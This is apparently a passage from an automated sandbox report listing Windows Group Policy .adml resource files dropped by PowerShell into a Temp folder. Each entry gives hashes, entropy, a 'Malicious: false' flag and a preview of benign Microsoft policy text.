Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="P2P_Disabled">Turn off Microsoft Peer-to-Peer Networking Services</string>.. <string id="P2P_Disabled_Explain">This setting turns off Microsoft Peer-to-Peer Networking Services in its entirety, and will cause all dependent applications to stop working.....Peer-to-Peer protocols allow for applications in the areas of RTC, collaboration, content distribution and distributed processing.....If you enable this setting, peer-to-peer protocols will be turned off.....If you disable this setting or do not configure it,

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\ParentalControls.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1084
Entropy (8bit):	5.01040774159096
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yDTRc42cN28Ml28Sv7T8MZFV:cgeD5x8gm8fKitDvNQlGVFV
MD5:	2DD43AEA1D0F6713F020401FC72878BC
SHA1:	4A8B428938DB72FC55F5EA72F95E9323BE1B4192
SHA-256:	FC70BC44ADAEC32E39A503CEEC2F52B98C697D61BE6C120A96480445A968FE5A
SHA-512:	CB4FC3B7FC46F1CBFEE1EDA2B6D51ECE2E8DBE983BB0D083109D999AC020634721FD3B42D917FEB9146A12F86D79389FAA6B95CA0832F58CC063B22D0C4B882B
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ParentalControls">Family Safety</string>.. <string id="ParentalControls_EnableOnDomain_help">This policy setting allows you to configure the Family Safety feature.....If you enable this policy setting, the Family Safety control panel is visible on a domain joined computer.....If you disable or do not configure this policy setting, the Family Safety control panel is not visible on a domain joined computer.</string>.. <string id="ParentalControls_EnableOnDomain">Make Family Safety control panel visible on a

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\PeerToPeerCaching.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (754), with CRLF line terminators
Category:	dropped
Size (bytes):	24638
Entropy (8bit):	4.564624284444478
Encrypted:	false
SSDEEP:	384:N1iKAegTK4PjZqKNomwtzxkBK8R02vXkh3RIaImzg6h3hquhT:N1itegT5PjsQHwtzxkBJR9yqmzh3N
MD5:	B5D667D298E0EDCC6D2FB6F0C01B7223
SHA1:	931DE60F0DBE31DC890905C6D7ACC05112F810A8
SHA-256:	673CB9F3C9B5B753C41C6B44519A04C32A10ABD90533CEC88E4AD20A0E564D55
SHA-512:	44C5535A92A8DE5364FCC39ED26171BBA4C25DDE495BFA9A9695A7F2E7F579AE08D972CAFF848ED9D5A6339307EA3CD2033838FF8AE006340D2CCB8A9F90ADB9
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>BranchCache</displayName>.. <description>BranchCache enables clients to securely retrieve content from within the branch office instead of having to retrieve it from the server hosting the content. Depending on the deployment mode, the content can be retrieved from other clients in the branch office or from a hosted cache server in the branch. A client can only retrieve content from within the branch if it is authorized by the server to do so. The use of BranchCache reduces costs on the wide area network (WAN) link that connects your branch offices to the data center or headquarters and increases download speeds for content that has already been downl

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\PenTraining.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1208
Entropy (8bit):	5.027249517124002
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yx9WmOQzWmYKAQKvqmiHAQKvMFV:cgeD5x8gm8fKAQmOVmYHimTHkFV
MD5:	7B4EC129E00834B2E499BEBCE8E75083
SHA1:	D4BEA36D9A628D70055431E5A6967BAF87294A02
SHA-256:	A00BB104395F6DC86AF2921893AF3BC129D7A2A2DDFA5CCA22FF6D055AF11E31
SHA-512:	5A5E2389AB7A3C432FEEB8D68F1C144A1525934FC1FA8442E8C12CC11652FEDF101E73AD8D10197FDC0F6AF0DA2D887BEFE2BAD792BEF4E943DD9C71EBAEB2F6
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="PenTraining">Tablet PC Pen Training</string>.. <string id="PenTrainingOff">Turn off Tablet PC Pen Training</string>.. <string id="PenTrainingOff_Help_LOCALMACHINE">Turns off Tablet PC Pen Training.....If you enable this policy setting, users cannot open Tablet PC Pen Training.....If you disable or do not configure this policy setting, users can open Tablet PC Pen Training.</string>.. <string id="PenTrainingOff_Help_USER">Turns off Tablet PC Pen Training.....If you enable this policy setting, users ca

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\PerformanceDiagnostics.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (577), with CRLF line terminators
Category:	dropped
Size (bytes):	8181
Entropy (8bit):	4.68291957028103
Encrypted:	false
SSDEEP:	192:E65cdjVSpt6DejVSpOZq1jVSpWLqXjVSpsHz2TgS:bk4md
MD5:	1242B4E18BC034195D7064E4CDEB8B92
SHA1:	4BF81B86AC91ED3B51C97569728CD29858459D68
SHA-256:	29F060D6A4CA93A94F33D46150AF949B5F2EB63214AF05C5700E552555F81C54
SHA-512:	0A17703E8858409CB9AEBE827143EA77516576F473AC18873B3848F4A4D000F739E757655945CAB3DBE8E05B06496E07C2C8C7811CE5D7407153D9B167B8015E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="BootScenarioCategory">Windows Boot Performance Diagnostics</string>.. <string id="BootScenarioExecutionPolicyExplain">Determines the execution level for Windows Boot Performance Diagnostics.....If you enable this policy setting, you must select an execution level from the dropdown menu. If you select problem detection and troubleshooting only, the Diagnostic Policy Service (DPS) will detect Windows Boot Performance problems and attempt to determine their root causes. These root causes will be logged to the eve

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\PerformancePerftrack.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1205
Entropy (8bit):	4.988086677223878
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yuh9J6k7LXp4qVacJPYidFV:cgeD5x8gm8fKVJ6kSuacFYidFV
MD5:	EF84A579BC8272236E53AB9F5BEE92CB
SHA1:	670EA5FF6A1559F695E15D3A2D17B2A100BA79B7
SHA-256:	82C7F47D059ED97EF6AC7068E43E6933E84ACE56543FD8C945065A51C0644A63
SHA-512:	92D8CC050A24AC9F2D059486A9EA5A8184FCC6798261F789E36F1A4694F379EC9EFA8CA69AF8D53502187B7D908850EB2233038BD22901D116195F32E0E8A937
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="PerfTrackCategory">Windows Performance PerfTrack</string>.. <string id="PerfTrackScenarioExecutionPolicyExplain">This policy setting specifies whether to enable or disable tracking of responsiveness events.....If you enable this policy setting, responsiveness events are processed and aggregated. The aggregated data will be transmitted to Microsoft through SQM.....if you disable this policy setting, responsiveness events are not processed.....If you do not configure this policy setting, the DPS will enable Wind

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Power.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (389), with CRLF line terminators
Category:	dropped
Size (bytes):	29740
Entropy (8bit):	4.822333468541642
Encrypted:	false
SSDEEP:	384:EkJF7YAK1c67c5h9xRoKYy5V8iisCaeZou2Ap6:EkJF7YA0a9xR5V8iPCgu2Ap6
MD5:	C0E2A98755B3DA961DBBCFA1A621154B
SHA1:	878508DB646C47D8A36C90305D919C52CD8DC11C
SHA-256:	0F8B66F7B315426ABEC4B71912D2FF5F1F4A573AC391CD8E0A10738AF808F8A6
SHA-512:	AD72CA9823E3581557BE15F198F6BB697CEF9CC372881FED501DB236D6B35834A220603F4AB36FBEE65D36DF3473862F0AD93F9443EF82204F28130F635910E8
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ACCriticalSleepTransitionsDisable">Turn on the ability for applications to prevent sleep transitions (plugged in)</string>.. <string id="ACHibernateTimeOut">Specify the system hibernate timeout (plugged in)</string>.. <string id="ACPowerButtonAction">Select the Power button action (plugged in)</string>.. <string id="ACPromptForPasswordOnResume">Require a password when a computer wakes (plugged in)</string>.. <string id="ACSleepButtonAction">Select the Sleep button action (plugged in)</string>..

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\PowerShellExecutionPolicy.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	8601
Entropy (8bit):	4.7004620993687665
Encrypted:	false
SSDEEP:	96:wB3f/vzRzuppcRzhl5tWSLh2xwqmHfc9Ka7yOUpJD4mUQfStlm8hOE9m7pqHXSp3:ozRzu0P+uIxrmpn8mgtlm8B9mgc3
MD5:	6E1645BEEB36B67E2486DF156AD73713
SHA1:	96BF04C94854CBA227B3E3518A5BF6EEEEFFCA64
SHA-256:	1963DE8A3D77000A3DCF16B751132920F2F8ED0274905285C914469D1597F11D
SHA-512:	5A6D2DAEE84146D94A7D93640C92B14792C759D1E778C25BA3CA3B892628B87848EC414EC6DB709F6912B3E38397C608A343D719AF8B26169022FADBCF35DB79
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>..<policyDefinitionResources xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" revision="1.0" schemaVersion="1.0" xmlns="http://www.microsoft.com/GroupPolicy/PolicyDefinitions">.. <displayName>Windows PowerShell</displayName>.. <description>This file contains the configuration options for Windows PowerShell</description>.. <resources>.. <stringTable>.. <string id="AllScripts">Allow all scripts</string>.. <string id="AllScriptsSigned">Allow only signed scripts</string>.. <string id="EnableScripts">Turn on Script Execution</string>.. <string id="EnableScripts_Explain">This policy setting lets you configure the script execution policy, controlling which scripts are allowed to run.....If you enable this policy setting, the scripts selected in the drop-down list are allowed to run.....The "Allow only signed scripts" policy setting allows scripts to execute only if they are signed

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\PreviousVersions.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	5301
Entropy (8bit):	4.592135641503131
Encrypted:	false
SSDEEP:	96:LeD5pmieohnx5hxncDmeoqCcxjBgAeocs7x7BNcGDQaFV:EBtx5h9zqCccQcs75BhDQan
MD5:	4DAE700A902336A7ACD9315F2DCB6F00
SHA1:	B472C8447E223252B2B43403D60468B62C3FFE2C
SHA-256:	DC5A3DE3D24654B83D269B2A74148B777261995A56ABAD7943616BBA648A28AE
SHA-512:	3C572957861E0FD9D62F51C8ED0DB407C7C20C1DBCD99B2F06F60DE19D31158367D03C8729E8EC0B41F983D7744F9FEADE91C4AE68434EFEBDF57F9BBC201D9E
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DisableBackupRestore">Prevent restoring previous versions from backups</string>.. <string id="DisableBackupRestore_Help">This policy setting lets you suppress the Restore button in the previous versions property page when the user has selected a previous version of a local file, in which the previous version is stored on a backup.....If you enable this policy setting, the Restore button is disabled when the user selects a previous version corresponding to a backup.....If you disable this policy setting, the Re

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Printing.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (568), with CRLF line terminators
Category:	dropped
Size (bytes):	33066
Entropy (8bit):	4.630945231898182
Encrypted:	false
SSDEEP:	384:YRG9T17KYkXyUrqDiynH2yi4oO+gwlquRfpxHkyT/yT/eaXl+H1CUnJi:tvmrrnlpxHkyedu1CUnw
MD5:	587143E4C31AF88A0591C34F205DB7FB
SHA1:	F6B86A1E88E2822BA2A595E6BD047BD04CCD5C0B
SHA-256:	90D12A7BC2ECAE124C62A43069FCD48E3AAA6F214325372EA82E5727F290D184
SHA-512:	ED01D954728347AA2A0DED6D0F351BDDD5C9CA0254802BCEED01104D5C5909342A15A6D628B4249782151E748514679822A169A3CC846722E1BA81A24D9EAAA3
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8" standalone="yes"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowWebPrinting">Activate Internet printing</string>.. <string id="AllowWebPrinting_Help">Internet printing lets you display printers on Web pages so that printers can be viewed, managed, and used across the Internet or an intranet..... If you enable this policy setting, Internet printing is activated on this server..... If you disable this policy setting or do not configure it, Internet printing is not activated..... Internet printing is an extension of Internet In

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Printing2.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (640), with CRLF line terminators
Category:	dropped
Size (bytes):	14598
Entropy (8bit):	4.638367767119586
Encrypted:	false
SSDEEP:	192:vPo4LQX7miuddCSgP71CTd5xZSq5ynxWmBIY+DOxH++JGQfFD:ox7Idu7Ih5xwqcJJrxPAM
MD5:	5BA865D69814055E09D5698701921315
SHA1:	E0F4F6C1D949A6E2B1A30D4397CED3C175A3F003
SHA-256:	28D160709A578AE08008CE9F84EFA853F0CD30C05AC418ED0085133B7F5BE4F8
SHA-512:	7A09CB06DAE4236124B0CDE8B8C4887C95CEAE97C1EEB8D632AFE142B4ED7BBA4DB52AE3BFF03253C9CE7C5242FD6E8894B74A7AB294BECA5B39429FCF09591F
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8" standalone="yes"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0">.. <displayName>Printing Group Policies</displayName>.. <description>Printing Group Policies valid on all Windows flavors except ARM</description>.. <resources>.. <stringTable>.. <string id="RegisterSpoolerRemoteRpcEndPoint">Allow Print Spooler to accept client connections</string>.. <string id="RegisterSpoolerRemoteRpcEndPoint_Help">This policy controls whether the print spooler will accept client connections.....When the policy is unconfigured or enabled, the spooler will always accept client connections.....When the policy is disabled, the spooler will not accept client connections nor allow users to share printers. All printers current

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Programs.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (424), with CRLF line terminators
Category:	dropped
Size (bytes):	7022
Entropy (8bit):	4.658208655049282
Encrypted:	false
SSDEEP:	96:LeD5pmxKh8Wc3Ww1nZy8hmiZWV9k4W0DWivt2fpre9hWJT+K3AqcOrzqhScDMFsO:EU3RnY82DVYfUrWd+kxXc0sVcfu9q
MD5:	14D4B2677604A342B26891EFC3597078
SHA1:	A51EBAF7D5FCFF778B9AEDCE6F37C5C9D6B2B0EC
SHA-256:	5EE2DF374170A87F773008D43AEBEBEF3E1C451F0E9A530B6F2CD5C1601E0012
SHA-512:	DB06D2D412763EC3ACA0D03D4694E6D86C4149B57BD31EA91E8C0E0C3ED8C56B15FDBB2B3FB441D5DC3C5BD262FDE2543A27477FF32C2509473B87B5B10DEDEF
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Programs">Programs</string>.. <string id="NoProgramsCPL">Hide the Programs Control Panel</string>.. <string id="NoProgramsCPL_Help">This setting prevents users from using the Programs Control Panel in Category View and Programs and Features in Classic View... ..The Programs Control Panel allows users to uninstall, change, and repair programs, enable and disable Windows Features, set program defaults, view installed updates, and purchase software from Windows Marketplace. Programs published or assigned to

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\PswdSync.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (366), with CRLF line terminators
Category:	dropped
Size (bytes):	4835
Entropy (8bit):	4.774670262203608
Encrypted:	false
SSDEEP:	96:LeD5pmMM44GDFsil1oXY7XlMXC3K8GDFeMbiZC0XEV:EB4eFUXUXuy33eFPAX0
MD5:	81A4179A1F50B390A55CEC61B95F6752
SHA1:	1D21A6C288E6EB744C52CCAA2A81298CAB467B12
SHA-256:	5A277C91D697FECAEBECFD1AA4A38F6027C5800BFB4B5EBEBBA90251C788BEAB
SHA-512:	F79C992F4FA17D80A8B65F7AB9753DBBBC12295B80DBDAA3C71CE417B63F9B39774D4ABF5381FD45320E684728FBD05D3761FF37F53A26A3076DF20C3EA2DB71
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="PswdSync">Password Synchronization</string>.. <string id="Psync_LoggingLevel">Turn on extensive logging for Password Synchronization</string>.. <string id="Psync_LoggingLevel_Help">This policy setting allows an administrator to turn on extensive logging for Password Synchronization.....If you enable this policy setting, all affected computers that are running Password Synchronization log intermediate steps for password synchronization attempts.....If you disable or do not configure this policy setting, in

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\QOS.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	22100
Entropy (8bit):	4.777240545794819
Encrypted:	false
SSDEEP:	384:S0I0F0I0w0i0O0Q0c0K0F1P0mDeWvyz0gx0YV0BI0l+0Xe0X:f+
MD5:	5A29BFD51F48A0377276834F0B8BAF80
SHA1:	E1F484C1462470950E95ADC7D7E4FC1A6FA273B6
SHA-256:	39B7A57E44813AFFEF1380FC4A2CE929EDAAAB031B457C50381A76996FD6B654
SHA-512:	DE4B16EDBAB62DEDF2AC48ABF223AE084B29A7DC6231507ECE14DF273CECA57F1E86C4C9AFAF0CE627394C6523E7D140A1A60E8E9B8D5D7FA93C57304BEE2AF3
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="QosDBMC_BestEffort_Help">Specifies an alternate Layer-3 Differentiated Services Code Point (DSCP) value for packets with the Best Effort service type (ServiceTypeBestEffort). The Packet Scheduler inserts the corresponding DSCP value in the IP header of the packets.....This setting applies only to packets that conform to the flow specification.....If you enable this setting, you can change the default DSCP value associated with the Best Effort service type.....If you disable this setting, the system uses the default

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\RPC.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (491), with CRLF line terminators
Category:	dropped
Size (bytes):	13725
Entropy (8bit):	4.739504626052788
Encrypted:	false
SSDEEP:	192:EuPHdbK3t1tsbRP7MaC+9D29YVm8yvRyd4+gzsBUNh8yhXOLzUFoNP1npbNjtKjr:9vdew4argz4/gzsGbF5OLzQm1pFtcr
MD5:	C7D0520662B4D6F3A33CD02E7D078832
SHA1:	2092E311A0CDB5F1EDBFC9D3A39490EA6F061314
SHA-256:	A1595A8F7F77496CB3DAE9BA4A8787985FF7C5C7B50BCE6EA19ECC823B874C57
SHA-512:	0F23E0D8B3A0C3007C81794DEA01E218A6810AF134BB40DE84C7509BC2F82C0E6F919E4C2994C2964C977C9F7EC0DFB4456328C928C3A3A67B5EC1126152ACE0
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Rpc">Remote Procedure Call</string>.. <string id="RpcEEInfoOff">Off</string>.. <string id="RpcEEInfoOffWithExc">Off with Exceptions</string>.. <string id="RpcEEInfoOn">On</string>.. <string id="RpcEEInfoOnWithExc">On with Exceptions</string>.. <string id="RpcEnableAuthEpResolution">Enable RPC Endpoint Mapper Client Authentication</string>.. <string id="RpcEnableAuthEpResolution_Help">This policy setting controls whether RPC clients authenticate with the Endpoint Mapper Service when the

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\RacWmiProv.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1378
Entropy (8bit):	4.961792727852399
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3FNPKJAzSIveqsUA0j01oSxz1kFV:cgeD5x8gmYAkFVgeMFV
MD5:	B8793F540E47EE449A0369A0569CFB8A
SHA1:	3701D0618E2079A6EFDAD7748C21B6B236CD2070
SHA-256:	4BEFE402E1D8BAF094346887C509331398720109298EEB4DD947879DFE0A9216
SHA-512:	59C4192172AC1BF0278659B1876B3E71ECDD0FE4E2E6B0EC33796C75566F85C0BD1AD6FF5D3BC57382532D65CA3914982369F199781B1DC6E84C1B69CA517D32
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>Reliability Analysis Component</displayName>.. <description>Reliability Analysis Component</description>.. <resources>.. <stringTable>.. <string id="RAC">Windows Reliability Analysis</string>.. <string id="ConfigureRacWmi">Configure Reliability WMI Providers</string>.. <string id="ConfigureRacWmi_help">This policy setting allows the Windows Management Instrumentation (WMI) providers Win32_ReliabilityStabilitymetrics and Win32_ReliabilityRecords to provide data to Reliability Monitor in the Action Center control panel, and to respond to WMI requests.....If you enable or do not configure this policy setting, the listed providers will resp

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Radar.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (563), with CRLF line terminators
Category:	dropped
Size (bytes):	2714
Entropy (8bit):	4.801755208450146
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKbFnok+9MKFLOL5dEyIsaVZ57O0BsYu+P4XEgV:LeD5pmnFnok+9RL+M5jVZ8CsuPeV
MD5:	64AFB930E79CDCDF1D967B37180DEC5C
SHA1:	AA45CC6BCA49EF263EC3880FFE65F1C5D936CC70
SHA-256:	8C710DC3983ED5962C5F7D40C3390C660AE7597CEA71F2BF8FF68B6EFC594CB7
SHA-512:	BF40F01F07FB8674902D50A9C7B6C3636714B6C3E5FFC1D045689B46A63024379CB1FE45092FF98912E265433FD4A8970B4CCF539F1AA56831E2283231D55AC7
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="WdiScenarioCategory">Windows Resource Exhaustion Detection and Resolution</string>.. <string id="WdiScenarioExecutionPolicy">Configure Scenario Execution Level</string>.. <string id="WdiScenarioExecutionPolicyExplain">Determines the execution level for Windows Resource Exhaustion Detection and Resolution.....If you enable this policy setting, you must select an execution level from the dropdown menu. If you select problem detection and troubleshooting only, the Diagnostic Policy Service (DPS) will detect

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\ReAgent.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (483), with CRLF line terminators
Category:	dropped
Size (bytes):	1817
Entropy (8bit):	4.807685062167235
Encrypted:	false
SSDEEP:	48:cgeD5x8gmclqzPa520pns19F9K0SppRPRDdamFV:LeD5pmnvI3R9FV
MD5:	74A0325268266B2CDE0E3F5F1597F203
SHA1:	088E690A896920238445D6605ACBE4F40498742F
SHA-256:	11AB21A9F9176CBC644DBDC5020FA4791086234FB126A5F0885315EFD299BB35
SHA-512:	D79952DFB16CF46EF6D91DC4031CDAD7F7D060E92E16E18CECA3CA5B69F017C895FD54655F05F6CEE08C027CC3981BDA16F798726C69A39C95FF923D763B72F0
Malicious:	false
